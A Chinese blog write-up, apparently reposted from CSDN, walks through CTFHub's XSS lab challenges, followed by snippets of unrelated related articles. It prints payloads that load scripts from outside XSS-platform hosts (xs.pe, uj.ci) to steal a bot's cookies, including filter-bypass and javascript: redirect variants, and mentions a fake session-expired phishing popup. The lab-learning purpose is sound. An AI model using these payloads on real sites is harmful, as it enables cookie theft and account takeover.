当前位置: 首页 > news >正文

web-XSS-CTFHub

前言

 在众多的CTF平台当中,作者认为CTFHub对于初学者来说,是入门平台的不二之选。CTFHub通过自己独特的技能树模块,可以帮助初学者来快速入门。具体请看官方介绍:CTFHub。

作者更新了CTFHub系列,希望小伙伴们多多支持。

作者的CTFHub技能树汇总:

CTFHub技能树Web汇总-CSDN博客

注:如果想做本文的题目,可以自己搭建一个XSS接受平台或者是用在线的XSS平台。

反射型

发现有两个表单

第一个表单用来试验,看是否有漏洞

从URL上发现原来是GET传参,也可以直接在URL上传参进行试验

第二个表单显示sent URL to bot,这是因为反射型XSS在用户点击后才会生效,但这道题没人点击我们生成的payload,只好发送给robot,让程序模拟用户点击,使我们的payload生效。

这里我们直接利用在线网站生成的payload,大家需用自己网站生成的的payload

我们在第二个表单中发送payload给后台的bot让其遭受xss攻击(模拟管理员点击了恶意xss链接盗取cookie)

Ok了,xss链接生效了,靶机上线

我们查看返回的xss数据,在cookie中发现flag

存储型

还是两个表单,一个尝试,一个bot

和上题一样,先测试一下XSS漏洞

这次是POST传参

传递的内容是URL编码后的payload

在第一个表单里写一下在线平台的payload(其实只尝试是否弹窗就可以了)

注意:在第一个框试验在线平台的payload会导致我们自己的主机上线,但我们的主机没有flag,找flag时不要找错了

这里的“会话过期”是我的在线xss平台设计的弹窗,目的是诱导用户重新登陆,从而控制用户账号。但实际上没啥用,仅仅有弹窗的效果,相当于alert("此会话已过期,您需要重新登陆"),这里暂时忽略。

右键查看源代码,看看xss是怎么形成的

第一个框上传后,再将当前url粘贴到第二个框中发给bot,这样就把有我们payload的页面发给bot(存储型与反射型区别就在于此),从而上线主机

还是cookie里有flag

DOM反射

直接输入payload竟然没弹窗,看看源代码,原来是没有去闭合语句

这里我们要去闭合语句

';</script><sCRiPt sRC=//xs.pe/FVQ></sCrIpT><script>

成功弹窗

看一下源代码,完美闭合

还是发给bot,看cookie

DOM跳转

一进来看见Submit不好使了,还以为有前端过滤

捣鼓一顿,发现就算Submit可以提交了也没啥用

遂观察源代码

以下是上面JavaScript代码的分步解释:

1、location.search 获取当前URL中?号开始的查询字符串部分

        例如:URL为 http://example.com?jumpto=news.html 时,location.search 返回 ?               jumpto=news.html

2、split("=") 用等号分割查询字符串

        上述例子会被分割为数组:["?jumpto", "news.html"]

3、target[0].slice(1) 处理第一个参数

        target[0] 是 "?jumpto"

        .slice(1) 去掉第一个字符问号,得到 "jumpto"

4、判断 if (target[0].slice(1) == "jumpto")

        验证第一个参数名是否为jumpto

5、location.href = target[1] 执行跳转

        当条件满足时,页面会自动跳转到target[1]指定的地址

简单来说,这段代码的作用是从当前页面的URL中获取查询字符串(URL的get参数),如果参数名为"jumpto",则将页面重定向到参数值所指定的URL。

而当我们传递类似于jumpto=javascript:alert(1)这样的代码时,浏览器会将其解释为一种特殊的URL方案,即 “javascript:”。在这种情况下,浏览器会将后面的 JavaScript 代码作为URL的一部分进行解析,然后执行它。

验证一下

成功弹窗

然后构造链接来加载xss平台的代码:

?jumpto=javascript:$.getScript("//uj.ci/a3b")

这段代码使用了jQuery的$.getScript()函数来异步加载并执行来自xss平台的js脚本,使用前提是网站引用了jQuery。

发给机器人,

成功获得flag

注意:像作者之前使用的TLXSS平台就不支持jQuery,从而耗费了很长时间,大家如果做不出来就换一个xss平台(而且不要再换成同类型的平台,这个坑大家一定要注意)

过滤空格

没什么说的,把payload换一下就行

因为会过滤空格,所以我们用下面的payload

<sCRiPt/sRC=//xs.pe/FVQ></sCrIpT>

发给bot

看cookie

过滤关键词

先尝试一下

直接弹窗了

应该是在线网站的payload有大小写绕过,尝试了一下,下面这句就不会弹窗,应该是过滤了script

既然在线网站的payload可行,那我们直接发给bot,看cookie,成功

相关文章:

web-XSS-CTFHub

前言 在众多的CTF平台当中&#xff0c;作者认为CTFHub对于初学者来说&#xff0c;是入门平台的不二之选。CTFHub通过自己独特的技能树模块&#xff0c;可以帮助初学者来快速入门。具体请看官方介绍&#xff1a;CTFHub。 作者更新了CTFHub系列&#xff0c;希望小伙伴们多多支持…...

【C++】P1957 口算练习题

博客主页&#xff1a; [小ᶻ☡꙳ᵃⁱᵍᶜ꙳] 本文专栏: C 文章目录 &#x1f4af;前言&#x1f4af;题目描述输入格式&#xff1a;输出格式&#xff1a; &#x1f4af;我的做法代码实现&#xff1a; &#x1f4af;老师的做法代码实现&#xff1a; &#x1f4af;对比分析&am…...

第二十三章 MySQL锁之表锁

目录 一、概述 二、语法 三、特点 一、概述 表级锁&#xff0c;每次操作锁住整张表。锁定粒度大&#xff0c;发生锁冲突的概率最高&#xff0c;并发度最低。应用在MyISAM、InnoDB、BDB等存储引擎中。 对于表级锁&#xff0c;主要分为以下三类&#xff1a; 1. 表锁 2. 元数…...

linux 进程补充

环境变量 基本概念 环境变量(environment variables)一般是指在操作系统中用来指定操作系统运行环境的一些参数 如&#xff1a;我们在编写C/C代码的时候&#xff0c;在链接的时候&#xff0c;从来不知道我们的所链接的动态静态库在哪 里&#xff0c;但是照样可以链接成功&#…...

渗透测试之文件包含漏洞 超详细的文件包含漏洞文章

目录 说明 通常分为两种类型&#xff1a; 本地文件包含 典型的攻击方式1&#xff1a; 影响&#xff1a; 典型的攻击方式2&#xff1a; 包含路径解释&#xff1a; 日志包含漏洞&#xff1a; 操作原理 包含漏洞读取文件 文件包含漏洞远程代码执行漏洞: 远程文件包含…...

Java 大视界 -- Java 大数据在智能医疗影像诊断中的应用(72)

💖亲爱的朋友们,热烈欢迎来到 青云交的博客!能与诸位在此相逢,我倍感荣幸。在这飞速更迭的时代,我们都渴望一方心灵净土,而 我的博客 正是这样温暖的所在。这里为你呈上趣味与实用兼具的知识,也期待你毫无保留地分享独特见解,愿我们于此携手成长,共赴新程!💖 一、…...

Web - CSS3浮动定位与背景样式

概述 这篇文章主要介绍了 CSS3 中的浮动定位、背景样式、变形效果等内容。包括 BFC 规范与创建方法、浮动的功能与使用要点、定位的多种方式及特点、边框与圆角的设置、背景的颜色、图片等属性、多种变形效果及 3D 旋转等&#xff0c;还提到了浏览器私有前缀。 BFC规范与浏览…...

ConcurrentHashMap线程安全:分段锁 到 synchronized + CAS

专栏系列文章地址&#xff1a;https://blog.csdn.net/qq_26437925/article/details/145290162 本文目标&#xff1a; 理解ConcurrentHashMap为什么线程安全&#xff1b;ConcurrentHashMap的具体细节还需要进一步研究 目录 ConcurrentHashMap介绍JDK7的分段锁实现JDK8的synchr…...

系统学习算法:专题九 穷举vs暴搜vs深搜vs回溯vs剪枝

其中标题的深搜&#xff0c;回溯&#xff0c;剪枝我们之前专题都已经有过学习和了解&#xff0c;这里多了两个穷举和暴搜&#xff0c;其实意思都差不多&#xff0c;穷举就是穷尽力气将所有情况都列举出来&#xff0c;暴搜就是暴力地去一个一个情况搜索&#xff0c;所以就是全部…...

解决 Pandas DataFrame 索引错误:KeyError:0

在使用 Pandas 处理数据时&#xff0c;KeyError 是一个常见的问题&#xff0c;尤其是在尝试通过索引访问数据时。本文将通过一个实际案例&#xff08;使用SKLearn中的MINIST数据集为例&#xff09;&#xff0c;详细分析 KeyError 的原因&#xff0c;并提供解决方法。 1 问题背…...

deepseek的对话风格

概述 deepseek的对话风格&#xff0c;比一般的模型的回答多了思考过程&#xff0c;这是它比较可爱的地方&#xff0c;模型的回答有了思考过程&#xff0c;对用户而言大模型的回答不完全是一个黑盒。 deepseek的对话风格 train_prompt_style """Below is an…...

制造业设备状态监控与生产优化实战:基于SQL的序列分析与状态机建模

目录 1. 背景与挑战 2. 数据建模与采集 2.1 数据表设计 设备状态表(记录设备实时状态变更)...

Javaweb学习之Mysql(Day5)

(一)Mysql概述 (1)MYSQL通用语法 SQL语句可以单行或多行书写,以分号结尾。 SQL语句可以使用空格/缩进来增强语句的可读性(即,空格和缩进不影响代码的执行)。 MySQL数据库的SQL语句不区分大小写。 注释: 1. 单行注释: -- 注释内容 或 # 注释内容 (MySQL 特有 …...

C++ Primer 迭代器

欢迎阅读我的 【CPrimer】专栏 专栏简介&#xff1a;本专栏主要面向C初学者&#xff0c;解释C的一些基本概念和基础语言特性&#xff0c;涉及C标准库的用法&#xff0c;面向对象特性&#xff0c;泛型特性高级用法。通过使用标准库中定义的抽象设施&#xff0c;使你更加适应高级…...

Java的String与StringBuilder例题

​​ package com.jiachen.StringBuilderDemo1;import java.util.Scanner;public class Exercise2 {public static void main(String[] args) {Scanner scanner new Scanner(System.in);String s scanner.nextLine().trim(); // 读取输入并去除前后空格String result;// 根据…...

Vue.js 如何选择合适的组件库

Vue.js 如何选择合适的组件库 大家在开发 Vue.js 项目的时候&#xff0c;都会面临一个问题&#xff1a;我该选择哪个组件库&#xff1f; 市面上有很多优秀的 Vue 组件库&#xff0c;比如 Element Plus、Vuetify、Quasar 等&#xff0c;它们各有特点。选择合适的组件库&#xf…...

github下载失败网页打开失败 若你已经知道github地址如何cmd下载

直接打开命令行&#xff1a; winr cmd 输入&#xff1a;git clone 地址 eg&#xff1a;git clone https://github.com/akospasztor/stm32f103-dfu-bootloader...

排序算法--计数排序

统计每个元素出现的次数&#xff0c;直接计算元素在有序序列中的位置&#xff0c;要求数据是整数且范围有限。适用于数据为小范围整数&#xff08;如年龄、成绩&#xff09;&#xff0c;数据重复率较高时效率更优。可用于小范围整数排序、基数排序的底层排序(作为基数排序的稳定…...

[特殊字符]const在函数前后的作用详解(附经典案例)

理解const在函数前后的位置差异&#xff0c;是掌握C精髓的重要一步。下面用几个超形象的例子&#xff0c;带你彻底搞懂这个知识点&#xff01; 情况1&#xff1a;const在函数后面&#xff08;成员函数限定符&#xff09; 作用&#xff1a;承诺这个成员函数不会修改对象的状态&…...

【字节青训营-7】:初探 Kitex 字节微服务框架(使用ETCD进行服务注册与发现)

本文目录 一、Kitex概述二、第一个Kitex应用三、IDL四、服务注册与发现 一、Kitex概述 长话短说&#xff0c;就是字节跳动内部的 Golang 微服务 RPC 框架&#xff0c;具有高性能、强可扩展的特点&#xff0c;在字节内部已广泛使用。 如果对微服务性能有要求&#xff0c;又希望…...

uniapp中使用aixos 报错

问题&#xff1a; 在uniapp中使用aixos&#xff0c;运行后报如下错误&#xff1a; AxiosError: There is no suitable adapter to dispatch the request since : - adapter xhr is not supported by the environment - adapter http is not available in the build 解决方案&…...

优选算法第十二讲:队列 + 宽搜 优先级队列

优选算法第十二讲&#xff1a;队列 宽搜 && 优先级队列 1.N叉树的层序遍历2.二叉树的锯齿型层序遍历3.二叉树最大宽度4.在每个树行中找最大值5.优先级队列 -- 最后一块石头的重量6.数据流中的第K大元素7.前K个高频单词8.数据流的中位数 1.N叉树的层序遍历 2.二叉树的锯…...

基于TurtleBot3在Gazebo地图实现机器人远程控制

1. TurtleBot3环境配置 # 下载TurtleBot3核心包 mkdir -p ~/catkin_ws/src cd ~/catkin_ws/src git clone -b noetic-devel https://github.com/ROBOTIS-GIT/turtlebot3.git git clone -b noetic https://github.com/ROBOTIS-GIT/turtlebot3_msgs.git git clone -b noetic-dev…...

MySQL 知识小结(一)

一、my.cnf配置详解 我们知道安装MySQL有两种方式来安装咱们的MySQL数据库&#xff0c;分别是二进制安装编译数据库或者使用三方yum来进行安装,第三方yum的安装相对于二进制压缩包的安装更快捷&#xff0c;但是文件存放起来数据比较冗余&#xff0c;用二进制能够更好管理咱们M…...

Vite中定义@软链接

在webpack中可以直接通过符号表示src路径&#xff0c;但是vite中默认不可以。 如何实现&#xff1a; vite中提供了resolve.alias&#xff1a;通过别名在指向一个具体的路径 在vite.config.js中 import { join } from pathexport default defineConfig({plugins: [vue()],//…...

通过MicroSip配置自己的freeswitch服务器进行调试记录

之前用docker安装的freeswitch的&#xff0c;启动是正常的&#xff0c; 但用下面的Microsip连接不上 主要原因有可能一下几个 1、通过下面命令可以看 [rootlocalhost default]# docker exec -it freeswitch fs_cli -x "sofia status profile internal"Name …...

如何配置一个sql server使得其它用户可以通过excel odbc获取数据

要让其他用户通过 Excel 使用 ODBC 连接到 SQL Server 获取数据&#xff0c;你需要完成以下配置步骤&#xff1a; ✅ 一、在 SQL Server 端配置&#xff08;服务器设置&#xff09; 1. 启用 TCP/IP 协议 打开 “SQL Server 配置管理器”。导航到&#xff1a;SQL Server 网络配…...

恶补电源:1.电桥

一、元器件的选择 搜索并选择电桥&#xff0c;再multisim中选择FWB&#xff0c;就有各种型号的电桥: 电桥是用来干嘛的呢&#xff1f; 它是一个由四个二极管搭成的“桥梁”形状的电路&#xff0c;用来把交流电&#xff08;AC&#xff09;变成直流电&#xff08;DC&#xff09;。…...

从实验室到产业:IndexTTS 在六大核心场景的落地实践

一、内容创作&#xff1a;重构数字内容生产范式 在短视频创作领域&#xff0c;IndexTTS 的语音克隆技术彻底改变了配音流程。B 站 UP 主通过 5 秒参考音频即可克隆出郭老师音色&#xff0c;生成的 “各位吴彦祖们大家好” 语音相似度达 97%&#xff0c;单条视频播放量突破百万…...

dvwa11——XSS(Reflected)

LOW 分析源码&#xff1a;无过滤 和上一关一样&#xff0c;这一关在输入框内输入&#xff0c;成功回显 <script>alert(relee);</script> MEDIUM 分析源码&#xff0c;是把<script>替换成了空格&#xff0c;但没有禁用大写 改大写即可&#xff0c;注意函数…...